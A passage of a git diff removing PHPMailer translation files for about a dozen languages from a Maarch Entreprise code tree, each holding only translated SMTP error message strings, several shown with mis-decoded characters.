uma instância da função mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Não enviando, endereço de e-mail inválido: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; -$PHPMAILER_LANG['provide_address'] = 'Você deve fornecer pelo menos um endereço de destinatário de e-mail.'; -$PHPMAILER_LANG['recipients_failed'] = 'Erro de SMTP: Os endereços de destinatário a seguir falharam: '; -$PHPMAILER_LANG['signing'] = 'Erro ao assinar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; -$PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Não foi possÃvel definir ou resetar a variável: '; -$PHPMAILER_LANG['extension_missing'] = 'Extensão ausente: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ca.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ca.php deleted file mode 100755 index 4117596c6f1ea30712659094731175417bacb31f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ca.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Catalan PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Ivan <web AT microstudi DOT com> - */ - -$PHPMAILER_LANG['authenticate'] = 'Error SMTP: No s’ha pogut autenticar.'; -$PHPMAILER_LANG['connect_host'] = 'Error SMTP: No es pot connectar al servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Dades no acceptades.'; -$PHPMAILER_LANG['empty_message'] = 'El cos del missatge està buit.'; -$PHPMAILER_LANG['encoding'] = 'Codificació desconeguda: '; -$PHPMAILER_LANG['execute'] = 'No es pot executar: '; -$PHPMAILER_LANG['file_access'] = 'No es pot accedir a l’arxiu: '; -$PHPMAILER_LANG['file_open'] = 'Error d’Arxiu: No es pot obrir l’arxiu: '; -$PHPMAILER_LANG['from_failed'] = 'La(s) següent(s) adreces de remitent han fallat: '; -$PHPMAILER_LANG['instantiate'] = 'No s’ha pogut crear una instà ncia de la funció Mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Adreça d’email invalida: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer no està suportat'; -$PHPMAILER_LANG['provide_address'] = 'S’ha de proveir almenys una adreça d’email com a destinatari.'; -$PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Els següents destinataris han fallat: '; -$PHPMAILER_LANG['signing'] = 'Error al signar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Ha fallat el SMTP Connect().'; -$PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'No s’ha pogut establir o restablir la variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ch.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ch.php deleted file mode 100755 index 4fda6b85d7f3425fe136abecc77c644e6b668410..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ch.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Chinese PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author LiuXin <http://www.80x86.cn/blog/> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 错误:身份验è¯å¤±è´¥ã€‚'; -$PHPMAILER_LANG['connect_host'] = 'SMTP 错误: ä¸èƒ½è¿žæŽ¥SMTP主机。'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误: æ•°æ®ä¸å¯æŽ¥å—。'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = '未知编ç :'; -$PHPMAILER_LANG['execute'] = 'ä¸èƒ½æ‰§è¡Œ: '; -$PHPMAILER_LANG['file_access'] = 'ä¸èƒ½è®¿é—®æ–‡ä»¶ï¼š'; -$PHPMAILER_LANG['file_open'] = '文件错误:ä¸èƒ½æ‰“开文件:'; -$PHPMAILER_LANG['from_failed'] = '下é¢çš„å‘é€åœ°å€é‚®ä»¶å‘é€å¤±è´¥äº†ï¼š '; -$PHPMAILER_LANG['instantiate'] = 'ä¸èƒ½å®žçŽ°mail方法。'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' 您所选择的å‘é€é‚®ä»¶çš„方法并ä¸æ”¯æŒã€‚'; -$PHPMAILER_LANG['provide_address'] = '您必须æ供至少一个 收信人的email地å€ã€‚'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误: 下é¢çš„ 收件人失败了: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-cz.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-cz.php deleted file mode 100755 index 8cb1a3d80afa3564bb9efb867201df28618a2a6d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-cz.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php -/** - * Czech PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - */ - -$PHPMAILER_LANG['authenticate'] = 'Chyba SMTP: Autentizace selhala.'; -$PHPMAILER_LANG['connect_host'] = 'Chyba SMTP: Nelze navázat spojenà se SMTP serverem.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Chyba SMTP: Data nebyla pÅ™ijata.'; -$PHPMAILER_LANG['empty_message'] = 'Prázdné tÄ›lo zprávy'; -$PHPMAILER_LANG['encoding'] = 'Neznámé kódovánÃ: '; -$PHPMAILER_LANG['execute'] = 'Nelze provést: '; -$PHPMAILER_LANG['file_access'] = 'Nelze zÃskat pÅ™Ãstup k souboru: '; -$PHPMAILER_LANG['file_open'] = 'Chyba souboru: Nelze otevÅ™Ãt soubor pro ÄtenÃ: '; -$PHPMAILER_LANG['from_failed'] = 'NásledujÃcà adresa odesÃlatele je nesprávná: '; -$PHPMAILER_LANG['instantiate'] = 'Nelze vytvoÅ™it instanci emailové funkce.'; -$PHPMAILER_LANG['invalid_address'] = 'Neplatná adresa: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer nenà podporován.'; -$PHPMAILER_LANG['provide_address'] = 'MusÃte zadat alespoň jednu emailovou adresu pÅ™Ãjemce.'; -$PHPMAILER_LANG['recipients_failed'] = 'Chyba SMTP: NásledujÃcà adresy pÅ™Ãjemců nejsou správnÄ›: '; -$PHPMAILER_LANG['signing'] = 'Chyba pÅ™ihlaÅ¡ovánÃ: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() selhal.'; -$PHPMAILER_LANG['smtp_error'] = 'Chyba SMTP serveru: '; -$PHPMAILER_LANG['variable_set'] = 'Nelze nastavit nebo zmÄ›nit promÄ›nnou: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-de.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-de.php deleted file mode 100755 index 43057efcb7264772a4ad8618d7fcdf52045e0a0c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-de.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php -/** - * German PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Fehler: Authentifizierung fehlgeschlagen.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Fehler: Konnte keine Verbindung zum SMTP-Host herstellen.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Fehler: Daten werden nicht akzeptiert.'; -$PHPMAILER_LANG['empty_message'] = 'E-Mail Inhalt ist leer.'; -$PHPMAILER_LANG['encoding'] = 'Unbekanntes Encoding-Format: '; -$PHPMAILER_LANG['execute'] = 'Konnte folgenden Befehl nicht ausführen: '; -$PHPMAILER_LANG['file_access'] = 'Zugriff auf folgende Datei fehlgeschlagen: '; -$PHPMAILER_LANG['file_open'] = 'Datei Fehler: konnte folgende Datei nicht öffnen: '; -$PHPMAILER_LANG['from_failed'] = 'Die folgende Absenderadresse ist nicht korrekt: '; -$PHPMAILER_LANG['instantiate'] = 'Mail Funktion konnte nicht initialisiert werden.'; -$PHPMAILER_LANG['invalid_address'] = 'E-Mail wird nicht gesendet, die Adresse ist ungültig: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer wird nicht unterstützt.'; -$PHPMAILER_LANG['provide_address'] = 'Bitte geben Sie mindestens eine Empfänger E-Mailadresse an.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Fehler: Die folgenden Empfänger sind nicht korrekt: '; -$PHPMAILER_LANG['signing'] = 'Fehler beim Signieren: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Verbindung zu SMTP Server fehlgeschlagen.'; -$PHPMAILER_LANG['smtp_error'] = 'Fehler vom SMTP Server: '; -$PHPMAILER_LANG['variable_set'] = 'Kann Variable nicht setzen oder zurücksetzen: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-dk.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-dk.php deleted file mode 100755 index e725f4b477c86455458a2f75d68e3fc776045503..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-dk.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Danish PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Mikael Stokkebro <info@stokkebro.dk> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP fejl: Kunne ikke logge pÃ¥.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP fejl: Kunne ikke tilslutte SMTP serveren.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP fejl: Data kunne ikke accepteres.'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = 'Ukendt encode-format: '; -$PHPMAILER_LANG['execute'] = 'Kunne ikke køre: '; -$PHPMAILER_LANG['file_access'] = 'Ingen adgang til fil: '; -$PHPMAILER_LANG['file_open'] = 'Fil fejl: Kunne ikke Ã¥bne filen: '; -$PHPMAILER_LANG['from_failed'] = 'Følgende afsenderadresse er forkert: '; -$PHPMAILER_LANG['instantiate'] = 'Kunne ikke initialisere email funktionen.'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer understøttes ikke.'; -$PHPMAILER_LANG['provide_address'] = 'Du skal indtaste mindst en modtagers emailadresse.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP fejl: Følgende modtagere er forkerte: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-el.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-el.php deleted file mode 100755 index 7109641e49741d0151915cbb4d22301b33616229..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-el.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php -/** - * Greek PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Σφάλμα: Αδυναμία πιστοποίησης (authentication).'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Σφάλμα: Αδυναμία σÏνδεσης στον SMTP-Host.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Σφάλμα: Τα δεδομÎνα δεν Îγιναν αποδεκτά.'; -$PHPMAILER_LANG['empty_message'] = 'Το E-Mail δεν Îχει πεÏιεχόμενο .'; -$PHPMAILER_LANG['encoding'] = 'Αγνωστο Encoding-Format: '; -$PHPMAILER_LANG['execute'] = 'Αδυναμία εκτÎλεσης ακόλουθης εντολής: '; -$PHPMAILER_LANG['file_access'] = 'Αδυναμία Ï€ÏοσπÎλασης του αÏχείου: '; -$PHPMAILER_LANG['file_open'] = 'Σφάλμα ΑÏχείου: Δεν είναι δυνατό το άνοιγμα του ακόλουθου αÏχείου: '; -$PHPMAILER_LANG['from_failed'] = 'Η παÏακάτω διεÏθυνση αποστολÎα δεν είναι σωστή: '; -$PHPMAILER_LANG['instantiate'] = 'Αδυναμία εκκίνησης Mail function.'; -$PHPMAILER_LANG['invalid_address'] = 'Το μήνυμα δεν εστάλη, η διεÏθυνση δεν είναι ÎγκυÏη: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer δεν υποστηÏίζεται.'; -$PHPMAILER_LANG['provide_address'] = 'ΠαÏακαλοÏμε δώστε τουλάχιστον μια e-mail διεÏθυνση παÏαλήπτη.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Σφάλμα: Οι παÏακάτω διευθÏνσεις παÏαλήπτη δεν είναι ÎγκυÏες: '; -$PHPMAILER_LANG['signing'] = 'Σφάλμα υπογÏαφής: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Αποτυχία σÏνδεσης στον SMTP Server.'; -$PHPMAILER_LANG['smtp_error'] = 'Σφάλμα από τον SMTP Server: '; -$PHPMAILER_LANG['variable_set'] = 'Αδυναμία οÏÎ¹ÏƒÎ¼Î¿Ï Î® αÏχικοποίησης μεταβλητής: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-eo.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-eo.php deleted file mode 100755 index 2cf7d5c793e1544fa71de1ee35ad1a473de7e369..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-eo.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php -/** - * Esperanto PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - */ - -$PHPMAILER_LANG['authenticate'] = 'Eraro de servilo SMTP : aÅtentigo malsukcesis.'; -$PHPMAILER_LANG['connect_host'] = 'Eraro de servilo SMTP : konektado al servilo malsukcesis.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Eraro de servilo SMTP : neÄustaj datumoj.'; -$PHPMAILER_LANG['empty_message'] = 'Teksto de mesaÄo mankas.'; -$PHPMAILER_LANG['encoding'] = 'Nekonata kodoprezento: '; -$PHPMAILER_LANG['execute'] = 'Lanĉi rulumadon ne eblis: '; -$PHPMAILER_LANG['file_access'] = 'Aliro al dosiero ne sukcesis: '; -$PHPMAILER_LANG['file_open'] = 'Eraro de dosiero: malfermo neeblas: '; -$PHPMAILER_LANG['from_failed'] = 'Jena adreso de sendinto malsukcesis: '; -$PHPMAILER_LANG['instantiate'] = 'Genero de retmesaÄa funkcio neeblis.'; -$PHPMAILER_LANG['invalid_address'] = 'Retadreso ne validas: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mesaÄilo ne subtenata.'; -$PHPMAILER_LANG['provide_address'] = 'Vi devas tajpi almenaÅ unu recevontan retadreson.'; -$PHPMAILER_LANG['recipients_failed'] = 'Eraro de servilo SMTP : la jenaj poÅtrecivuloj kaÅzis eraron: '; -$PHPMAILER_LANG['signing'] = 'Eraro de subskribo: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP konektado malsukcesis.'; -$PHPMAILER_LANG['smtp_error'] = 'Eraro de servilo SMTP : '; -$PHPMAILER_LANG['variable_set'] = 'Variablo ne pravalorizeblas aÅ ne repravalorizeblas: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-es.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-es.php deleted file mode 100755 index 5ef716e8ffe8b94e6235c18567c66ad94d2da306..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-es.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Spanish PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Matt Sturdy <matt.sturdy@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'Error SMTP: Imposible autentificar.'; -$PHPMAILER_LANG['connect_host'] = 'Error SMTP: Imposible conectar al servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Datos no aceptados.'; -$PHPMAILER_LANG['empty_message'] = 'El cuerpo del mensaje está vacÃo'; -$PHPMAILER_LANG['encoding'] = 'Codificación desconocida: '; -$PHPMAILER_LANG['execute'] = 'Imposible ejecutar: '; -$PHPMAILER_LANG['file_access'] = 'Imposible acceder al archivo: '; -$PHPMAILER_LANG['file_open'] = 'Error de Archivo: Imposible abrir el archivo: '; -$PHPMAILER_LANG['from_failed'] = 'La(s) siguiente(s) direcciones de remitente fallaron: '; -$PHPMAILER_LANG['instantiate'] = 'Imposible crear una instancia de la función Mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Imposible enviar: dirección de email inválido: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer no está soportado.'; -$PHPMAILER_LANG['provide_address'] = 'Debe proporcionar al menos una dirección de email de destino.'; -$PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Los siguientes destinos fallaron: '; -$PHPMAILER_LANG['signing'] = 'Error al firmar: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falló.'; -$PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'No se pudo configurar la variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-et.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-et.php deleted file mode 100755 index 7e06da13e615def00230e0f6db96ee1c284c1d70..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-et.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Estonian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Indrek Päri - * @author Elan Ruusamäe <glen@delfi.ee> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Viga: Autoriseerimise viga.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Viga: Ei õnnestunud luua ühendust SMTP serveriga.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Viga: Vigased andmed.'; -$PHPMAILER_LANG['empty_message'] = 'Tühi kirja sisu'; -$PHPMAILER_LANG["encoding"] = 'Tundmatu kodeering: '; -$PHPMAILER_LANG['execute'] = 'Tegevus ebaõnnestus: '; -$PHPMAILER_LANG['file_access'] = 'Pole piisavalt õiguseid järgneva faili avamiseks: '; -$PHPMAILER_LANG['file_open'] = 'Faili Viga: Faili avamine ebaõnnestus: '; -$PHPMAILER_LANG['from_failed'] = 'Järgnev saatja e-posti aadress on vigane: '; -$PHPMAILER_LANG['instantiate'] = 'mail funktiooni käivitamine ebaõnnestus.'; -$PHPMAILER_LANG['invalid_address'] = 'Saatmine peatatud, e-posti address vigane: '; -$PHPMAILER_LANG['provide_address'] = 'Te peate määrama vähemalt ühe saaja e-posti aadressi.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' maileri tugi puudub.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Viga: Järgnevate saajate e-posti aadressid on vigased: '; -$PHPMAILER_LANG["signing"] = 'Viga allkirjastamisel: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() ebaõnnestus.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP serveri viga: '; -$PHPMAILER_LANG['variable_set'] = 'Ei õnnestunud määrata või lähtestada muutujat: '; -$PHPMAILER_LANG['extension_missing'] = 'Nõutud laiendus on puudu: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fa.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fa.php deleted file mode 100755 index ad0745c581c411b453a9ab29a266f3c647dab636..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fa.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Persian/Farsi PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Ali Jazayeri <jaza.ali@gmail.com> - * @author Mohammad Hossein Mojtahedi <mhm5000@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'خطای SMTP: اØراز هویت با شکست مواجه شد.'; -$PHPMAILER_LANG['connect_host'] = 'خطای SMTP: اتصال به سرور SMTP برقرار نشد.'; -$PHPMAILER_LANG['data_not_accepted'] = 'خطای SMTP: داده‌ها نا‌درست هستند.'; -$PHPMAILER_LANG['empty_message'] = 'بخش متن پیام خالی است.'; -$PHPMAILER_LANG['encoding'] = 'کد‌گذاری نا‌شناخته: '; -$PHPMAILER_LANG['execute'] = 'امکان اجرا وجود ندارد: '; -$PHPMAILER_LANG['file_access'] = 'امکان دسترسی به Ùایل وجود ندارد: '; -$PHPMAILER_LANG['file_open'] = 'خطای File: امکان بازکردن Ùایل وجود ندارد: '; -$PHPMAILER_LANG['from_failed'] = 'آدرس Ùرستنده اشتباه است: '; -$PHPMAILER_LANG['instantiate'] = 'امکان معرÙÛŒ تابع ایمیل وجود ندارد.'; -$PHPMAILER_LANG['invalid_address'] = 'آدرس ایمیل معتبر نیست: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer پشتیبانی نمی‌شود.'; -$PHPMAILER_LANG['provide_address'] = 'باید Øداقل یک آدرس گیرنده وارد کنید.'; -$PHPMAILER_LANG['recipients_failed'] = 'خطای SMTP: ارسال به آدرس گیرنده با خطا مواجه شد: '; -$PHPMAILER_LANG['signing'] = 'خطا در امضا: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'خطا در اتصال به SMTP.'; -$PHPMAILER_LANG['smtp_error'] = 'خطا در SMTP Server: '; -$PHPMAILER_LANG['variable_set'] = 'امکان ارسال یا ارسال مجدد متغیر‌ها وجود ندارد: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fi.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fi.php deleted file mode 100755 index ec4e75234971ef55d16526c18bd06a8495b87d24..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fi.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Finnish PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Jyry Kuukanen - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP-virhe: käyttäjätunnistus epäonnistui.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP-virhe: yhteys palvelimeen ei onnistu.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP-virhe: data on virheellinen.'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = 'Tuntematon koodaustyyppi: '; -$PHPMAILER_LANG['execute'] = 'Suoritus epäonnistui: '; -$PHPMAILER_LANG['file_access'] = 'Seuraavaan tiedostoon ei ole oikeuksia: '; -$PHPMAILER_LANG['file_open'] = 'Tiedostovirhe: Ei voida avata tiedostoa: '; -$PHPMAILER_LANG['from_failed'] = 'Seuraava lähettäjän osoite on virheellinen: '; -$PHPMAILER_LANG['instantiate'] = 'mail-funktion luonti epäonnistui.'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['mailer_not_supported'] = 'postivälitintyyppiä ei tueta.'; -$PHPMAILER_LANG['provide_address'] = 'Aseta vähintään yksi vastaanottajan sähköpostiosoite.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP-virhe: seuraava vastaanottaja osoite on virheellinen.'; -$PHPMAILER_LANG['encoding'] = 'Tuntematon koodaustyyppi: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fo.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fo.php deleted file mode 100755 index 68cdef1d090c5e681fbebad7974bee4607821904..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fo.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Faroese PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Dávur Sørensen <http://www.profo-webdesign.dk> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP feilur: Kundi ikki góðkenna.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP feilur: Kundi ikki knýta samband við SMTP vert.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP feilur: Data ikki góðkent.'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = 'Ókend encoding: '; -$PHPMAILER_LANG['execute'] = 'Kundi ikki útføra: '; -$PHPMAILER_LANG['file_access'] = 'Kundi ikki tilganga fÃlu: '; -$PHPMAILER_LANG['file_open'] = 'FÃlu feilur: Kundi ikki opna fÃlu: '; -$PHPMAILER_LANG['from_failed'] = 'fylgjandi Frá/From adressa miseydnaðist: '; -$PHPMAILER_LANG['instantiate'] = 'Kuni ikki instantiera mail funktión.'; -//$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' er ikki supporterað.'; -$PHPMAILER_LANG['provide_address'] = 'Tú skal uppgeva minst móttakara-emailadressu(r).'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Feilur: Fylgjandi móttakarar miseydnaðust: '; -//$PHPMAILER_LANG['signing'] = 'Signing Error: '; -//$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; -//$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; -//$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fr.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fr.php deleted file mode 100755 index a661f98d310b74b4e18a927b7c08d8a71722a0d5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-fr.php +++ /dev/null @@ -1,29 +0,0 @@ -<?php -/** - * French PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * Some French punctuation requires a thin non-breaking space (U+202F) character before it, - * for example before a colon or exclamation mark. - * There is one of these characters between these quotes: " " - * @link http://unicode.org/udhr/n/notes_fra.html - */ - -$PHPMAILER_LANG['authenticate'] = 'Erreur SMTP : échec de l\'authentification.'; -$PHPMAILER_LANG['connect_host'] = 'Erreur SMTP : impossible de se connecter au serveur SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Erreur SMTP : données incorrectes.'; -$PHPMAILER_LANG['empty_message'] = 'Corps du message vide.'; -$PHPMAILER_LANG['encoding'] = 'Encodage inconnu : '; -$PHPMAILER_LANG['execute'] = 'Impossible de lancer l\'exécution : '; -$PHPMAILER_LANG['file_access'] = 'Impossible d\'accéder au fichier : '; -$PHPMAILER_LANG['file_open'] = 'Ouverture du fichier impossible : '; -$PHPMAILER_LANG['from_failed'] = 'L\'adresse d\'expéditeur suivante a échoué : '; -$PHPMAILER_LANG['instantiate'] = 'Impossible d\'instancier la fonction mail.'; -$PHPMAILER_LANG['invalid_address'] = 'L\'adresse courriel n\'est pas valide : '; -$PHPMAILER_LANG['mailer_not_supported'] = ' client de messagerie non supporté.'; -$PHPMAILER_LANG['provide_address'] = 'Vous devez fournir au moins une adresse de destinataire.'; -$PHPMAILER_LANG['recipients_failed'] = 'Erreur SMTP : les destinataires suivants sont en erreur : '; -$PHPMAILER_LANG['signing'] = 'Erreur de signature : '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Échec de la connexion SMTP.'; -$PHPMAILER_LANG['smtp_error'] = 'Erreur du serveur SMTP : '; -$PHPMAILER_LANG['variable_set'] = 'Impossible d\'initialiser ou de réinitialiser une variable : '; -$PHPMAILER_LANG['extension_missing'] = 'Extension manquante : '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-gl.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-gl.php deleted file mode 100755 index 